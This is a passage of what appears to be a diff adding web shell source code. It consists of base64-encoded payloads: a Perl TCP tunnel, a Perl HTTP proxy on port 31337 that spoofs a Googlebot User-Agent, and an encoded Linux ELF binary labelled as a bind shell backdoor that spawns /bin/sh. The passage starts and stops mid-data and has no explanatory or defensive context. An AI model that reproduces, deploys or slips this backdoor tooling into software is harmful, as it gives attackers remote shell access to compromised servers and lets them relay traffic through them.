+NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
+iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
+aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
+SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
+xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
+WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
+CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
+yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
+I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
+m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
+IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
+lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
+QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
+CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
+c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
+NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
+UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
+DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
+ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
+1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
+$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
+luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
+0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
+UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
+DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
+AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
+GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
+cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
+BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
+AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
+TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
+eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
+oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
+VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
+CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
+b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
+0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
+9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
+CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
+aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
+gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
+9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
+$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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AAAAAAECFQDMAQAArJkECAAAAAAAAvH/3wEAAAAAAAB1AQAAEgAAAPABAAAAAAAAcQAAABIAAAABAgAARIkECAQAAAARAA4ACAIAAAAAAADMAAAAEgAAABoCAAAAAAAAWgAAABIAAAAqAgAA2JoECAAAAAARAhYANwIAAK2IBAhKAAAAEgAMAEcCAAAAAAAAeAAAABIAAABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya